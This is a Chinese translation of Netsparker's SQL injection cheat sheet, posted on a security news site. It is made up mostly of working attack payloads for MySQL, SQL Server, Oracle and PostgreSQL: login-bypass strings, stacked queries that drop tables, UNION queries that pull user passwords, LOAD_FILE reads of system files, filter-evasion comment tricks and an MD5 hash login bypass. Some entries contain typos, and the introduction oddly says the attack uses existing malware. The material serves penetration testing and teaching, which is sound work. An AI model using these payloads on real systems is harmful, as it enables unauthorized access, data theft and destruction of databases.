SQL注入速查表

阅读量236349

|评论1

|

发布时间 : 2016-03-21 18:08:55

x
译文声明

本文是翻译文章,文章来源:360安全播报

原文地址:https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/

译文仅供参考,具体内容表达以及含义原文为准。

https://p4.ssl.qhimg.com/t01153cacde27e02d64.jpg

SQL注入的基本知识

所谓SQL注入,就是通过把SQL命令插入到Web表单提交,输入域名或页面请求的查询字符串中,最终达到欺骗服务器并执行恶意SQL命令的目的。具体来说,它是利用现有的恶意软件,然后将(恶意)的SQL命令注入到后台数据库引擎并执行相应的查询语句,它可以通过在Web表单中输入SQL语句来得到一个存在安全漏洞的网站数据库,而不是按照设计者意图去执行SQL语句。

SQL注入速查表是什么?

SQL注入速查表可以为你提供大量SQL注入漏洞得详细技术信息,当你需要获取这些信息时,SQL注入速查表是你最好的选择。无论你是一名经验丰富的渗透测试人员,还是一名刚刚开始接触web应用安全的初学者,这份速查表都将会为你提供很大的帮助。

关于这份SQL注入速查表的一些信息

这份SQL注入速查表最初是由Ferruh Mavituna于2007年时在他的博客上发布的。此后,我们对它进行了更新,并且将其转移到了公司CEO的官方博客上。目前,这份SQL注入速查表只包含有MySQL,微软SQL Server,以及一些关于ORACLE和PostgreSQL数据库的有限信息。在有的情况下,这份速查表中的有些实例可能已经无效了,因为在现实世界中,圆括号的使用方法以及相同代码的使用方法都不同,而且在不同的情况下,还需要使用到非常复杂和奇怪的SQL查询语句。

我们在这篇文章中给大家提供了一些简单的样本,大家可以通过这些样本来了解到有关这种攻击方法的基础知识。除此之外,我们还在每一个章节中都提供了一些简短的介绍信息。

M: MySQL

S: SQL Server

P: PostgreSQL

O: Oracle

+: (大概)其他所有数据库

例子:

(MS) 代表 : MySQL 和 SQL Server 等服务器。

(M*S) 代表 : 只在某些版本的MySQL和SQL Server中出现,或者某些附在后文中的特殊情况下出现。

语法参考,攻击样本,SQL注入技巧

行间注释

注释掉查询语句的其余部分

行间注释通常用于注释掉查询语句的其余部分,这样你就不需要去修复整句语法了。

l  –(SM)

DROP sampletable;–

l  # (M)

DROP sampletable;#

使用了行间注释的SQL注入攻击样例

l  Username: admin'–

SELECT * FROM members WHERE username = 'admin'–' AND password = 'password'

这条语句允许你以管理员(admin)身份登陆,因为其余部分的SQL语句已经被注释掉了。

行内注释

注释掉查询语句的其余部分,但是并不关闭注释,或者你可以利用这一技术来绕过过滤,移除空格,混淆,或探测目标数据库的版本信息。

l  /*注释内容*/ (SM)

DROP/*注释*/sampletable

DR/**/OP/*绕过过滤*/sampletable

SELECT/*替换空格*/password/**/FROM/**/Members

l  /*! MYSQL专属 */ (M)

这是个MySQL的专属语法。非常适合用于探测MySQL的版本信息。如果你在注释中写入了代码,那么只有MySQL才会执行。同样的,你也可以利用这项技术来实现只有高于某版本的服务器才会去执行某些代码。

SELECT /*!32302 1/0, */ 1 FROM tablename

使用了行内注释的注入攻击样例

l  ID: 10; DROP TABLE members /*

简单地摆脱了处理后续语句的麻烦,同样你也可以使用10; DROP TABLE members

l  –SELECT /*!32302 1/0, */ 1 FROM tablename

如果MySQL的版本高于3.23.02,那么系统将会抛出一个division by 0 error。

MySQL版本探测攻击样例

l  ID: /*!32302 10*/

l  ID: 10

如果MySQL的版本高于3.23.02,那么以上两次查询你将得到相同的结果

l  SELECT /*!32302 1/0, */ 1 FROM tablename

如果MySQL的版本高于3.23.02,那么系统将会抛出一个division by 0 error。

堆叠查询(Stacking Queries)

在一句代码之中执行多个查询语句,这项技术在每一个注入点都非常有效,尤其是对那些使用SQL Server作为后端服务器的应用。

l  ; (S)

SELECT * FROM members; DROP members—

结束一个查询并开始一个新的查询。

支持堆叠查询的语言/数据库

绿色:支持,暗灰色:不支持,浅灰色:未知

https://p1.ssl.qhimg.com/t016206f98f0709835f.png

关于MySQL和PHP

首先,我需要阐明一些问题。

PHP-MySQL是不支持堆叠查询的,Java是不支持堆叠查询的(ORACLE的我很清楚,其他的就不确定了)。通常情况下,MySQL支持堆叠查询,但由于大多数PHP-Mysql应用框架的数据库层都不能执行第二条查询,或许MySQL的客户端支持这个,我不确定,有人能确认一下吗?

堆叠注入攻击样例

l  ID: 10;DROP members —

l  SELECT * FROM products WHERE id = 10; DROP members—

在执行完正常查询之后将会执行DROP SQL查询语句。

If语句

根据If语句得到响应。这是盲注(Blind SQL Injection)的关键之一,同样也能简单而准确地进行一些测试。

MySQL中的If语句

l  IF(condition,true-part,false-part)(M)

SELECT IF (1=1,'true','false')

SQL Server中的If语句

l  IF condition true-part ELSE false-part(S)

IF (1=1) SELECT 'true' ELSE SELECT 'false'

Oracle中的If语句

l  BEGIN

IF condition THEN true-part; ELSE false-part; END IF; END; (O)

IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;

PostgreSQL中的If语句

l  SELECT CASE WHEN condition THEN true-part ELSE false-part END; (P)

SELECT CASE WEHEN (1=1) THEN 'A' ELSE 'B'END;

使用了If语句的注入攻击样例

l  if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)

如果当前用户不是"sa"或者"dbo",那么系统就会抛出一个divide by zero error。

整数(Integers)的使用

这种方法对于绕过是十分有用的,比如magic_quotes() 和其他类似过滤器,甚至是各种WAF。

l  0xHEXNUMBER (SM)

你可以这样使用十六进制数:

SELECT CHAR(0x66) (S)

SELECT 0x5045 (这不是一个整数,而是一个十六进制字符串) (M)

SELECT 0x50 + 0x45 (现在这是一个整数了!) (M)

字符串操作

这是一个与字符串有关的操作。这对于构造一个不含有引号的注入语句非常有用,我们还可以利用这种方法来绕过或探测终端数据库。

字符串的串联

l  + (S)

SELECT login + '-' + password FROM members

l  || (*MO)

SELECT login || '-' || password FROM members

*关于MySQL的"||"

仅在ANSI模式下的MySQL会对这个符号执行运算,其他情况下系统都会将其当成'逻辑操作符'并返回一个0。在这里更好的做法是使用MySQL中的CONCAT()函数。

l  CONCAT(str1, str2, str3, …) (M)

Concatenate supplied strings.

SELECT CONCAT(login, password) FROM members

没有引号的字符串

我们有很多直接使用字符串的方法,但是这几个方法是一直可用的:即使用CHAR()(MS)和CONCAT()(M)来生成没有引号的字符串。

l  0x457578 (M) – 十六进制编码的字符串

SELECT 0x457578

这在MySQL中会被当做字符串处理。

在MySQL中生成十六进制字符串的一个简单方式如下:

SELECT CONCAT('0x',HEX('c:\boot.ini'))

l  在MySQL中使用CONCAT()函数

SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)

系统将会返回'KLM'。

l  SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)

系统将会返回'KLM'。

l  SELECT CHR(75)||CHR(76)||CHR(77) (O)

系统将会返回'KLM'。

l  SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)

系统将会返回'KLM'。

十六进制的注入攻击样例

l  SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)

攻击者可以利用这条语句获取到目标主机中c: /boot.ini的内容。

字符串异化(Modification)与联系

l  ASCII() (SMP)

这条语句将返回最左边字符的ASCII码值。这是一个用于盲注的重要函数。

SELECT ASCII('a')

l  CHAR() (SM)

把整数转换为对应ASCII码字符

SELECT CHAR(64)

Union注入

这个方法能够帮助你实现跨表查询。也就是说,你可以注入一条查询语句,并且从另一个表中获取到查询内容。

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members

这条语句将会把news表和members表中的内容合并返回给用户。

另一个示例:

' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1–

UNION的语言问题处理

当我们准备使用Union来实现注入的时候,经常会遇到一些错误和问题,这是由于不同的语言设置所引起的(表的设置、字段设置、表或数据库的设置等等)。这些函数将会有效地帮助我们解决这些问题,尤其是当你在处理日文,俄文,土耳其文的时候,你就会发现这些函数真的很实用。

l  SQL Server (S)

使用 COLLATE SQL_Latin1_General_Cp1254_CS_AS(S)或者其它的语句,具体信息请查看SQL Server的技术文档。

SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members

l  MySQL (M)

Hex()这个函数基本上可以解决所有的问题。

绕过登陆界面(SMO+)

SQL注入中的登录技巧

l  admin' —

l  admin' #

l  admin'/*

l  ' or 1=1–

l  ' or 1=1#

l  ' or 1=1/*

l  ') or '1'='1–

l  ') or ('1'='1–

l  ….

l  以不同的用户身份登录 (SM*)

' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1—

**旧版本的MySQL不支持union*

绕过登录界面的MD5哈希检测

如果程序首先使用用户名记录来查询数据库,然后读取密码的MD5值并与你所提供的密码MD5值进行对比,那么你就需要一些额外的技巧才能绕过这一步的验证。你可以将一个已知明文的MD5哈希和它的明文一起提交,使得程序不使用从数据库中读取出的密码哈希值,迫使系统使用你所提供的哈希值进行比较。

绕过MD5哈希检测的示例(MSP)

用户名 : admin

密码 : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055

81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

由于篇幅有限,如果大家对这方面的内容感兴趣的话,请阅读原文。

本文翻译自360安全播报 原文链接。如若转载请注明出处。
分享到:微信
+10赞
收藏
WisFree
分享到:微信

发表评论

Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全KER All Rights Reserved 京ICP备08010314号-66